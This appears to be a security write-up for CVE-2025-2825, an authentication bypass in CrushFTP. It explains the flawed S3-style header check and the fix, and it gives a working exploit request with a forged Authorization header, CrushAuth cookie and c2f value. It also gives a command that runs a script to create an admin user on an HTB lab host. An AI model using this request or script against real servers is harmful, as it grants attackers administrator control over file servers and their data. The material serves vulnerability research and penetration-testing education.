
Detailed analysis and PoC exploit for CVE-2025-2825, an authentication bypass in CrushFTP. Includes nuclei templates, multi-threaded scanner, and user creation script for penetration testing.
This document presents a security analysis of vulnerability CVE-2025-2825 affecting the server component of CrushFTP — a commercial solution for file transfer and storage (FTP, SFTP, HTTP/S, S3-like interfaces, etc.).
The defect is classified as an authentication bypass, allowing a remote unauthenticated attacker to gain administrator privileges. Successful exploitation provides access with crushadmin privileges, the ability to view and modify files, manage user accounts, and perform administrative operations through the CrushFTP web interface and API.
Reported affected versions (according to public advisories and researcher reports):
⚠️ Note: Some publications contain duplicates and overlaps of CVE identifiers (e.g., CVE-2025-31161).
Step-by-step analysis of the vulnerability and demonstration of the full research cycle, including:
According to public reports, the vulnerability has a critical risk:
Instances with the following characteristics are critical:
CrushFTP (any edition with a web interface).CrushFTP implements support for an S3-like API. Authentication uses the Authorization header of the form:
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>
The server extracts AccessKey from Credential and should verify the signature. However, a mistake was made in the code when handling the lookup_user_pass flag.
// ServerSessionHTTP.java, method loginCheckHeaderAuth()
if (this.headerLookup.containsKey("AUTHORIZATION") &&
this.headerLookup.getProperty("AUTHORIZATION").trim().startsWith("AWS4-HMAC")) {
boolean lookup_user_pass = true; // ← critical error
if (s3_username3.indexOf("~") >= 0) {
user_pass = user_name.substring(user_name.indexOf("~") + 1);
user_name = user_name.substring(0, user_name.indexOf("~"));
lookup_user_pass = false;
}
if (this.thisSession.login_user_pass(
lookup_user_pass,
false,
user_name,
lookup_user_pass ? "" : user_pass)) {
// Successful authentication
}
}
The lookup_user_pass flag is directly passed as anyPass:
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // authentication without password verification
}
Thus:
~ character, the flag remains true.crushadmin).CrushAuth cookie and the c2f parameter, this allows bypassing authentication and gaining administrative access.In version 11.3.1 and newer, the developers:
s3_auth_lookup_password_supported parameter (default false), blocking the vulnerable scenario.~.lookup_user_pass → anyPass.s3_auth_lookup_password_supported disabled.Exploitation of CVE-2025-2825 is quite simple and does not require complex preparation. An attacker only needs to send a specially crafted HTTP request containing two key elements:
Authorization header in AWS S3 format, containing a valid existing username (Credential field with AccessKey/username).CrushAuth cookie in the expected format and the c2f parameter in the URL/request body, whose values logically correspond (the cookie format must match the structure expected by the server).If the server is vulnerable (version in the range 10.0.0—10.8.3 or 11.0.0—11.3.0 and no fixing patch applied), this combination forces the authentication handler to follow the vulnerable path, where the password lookup flag (lookup_user_pass) is interpreted as 'any password is acceptable', and the user is authenticated by name alone without password verification.
Important note:
Exploitation of this vulnerability typically requires sending two consecutive requests. The first, a so-called 'warm-up' request, triggers the vulnerable authentication process on the server. A characteristic sign that the server has entered the required state is receiving a
502 Bad Gatewayerror or simply a timeout. Immediately after, the second, main request is sent, which performs the useful action (e.g., creating a user) while the server remains in the vulnerable state.
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Host: target-server:8080
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
For testing, I used the recently released HTB lab Soulmate, which requires exploitation of CrushFTP.

Thanks to this vulnerability, a new user with admin rights can be added using the setUserItem command. To do this, run new_user.py
python3 new_user.py --target_host http://ftp.soulmate.htb/ --port 80 --target_user crushadmin --new_user literide --password literide
Parsing the Authorization header: When the server sees an authorization header in S3-like format (AWS4-HMAC...), it extracts from the Credential field the client identifier (AccessKey / username). At this stage, the server obtains a string which it considers the username — this is the identification value used further in the authentication logic.
The lookup_user_pass flag and its role: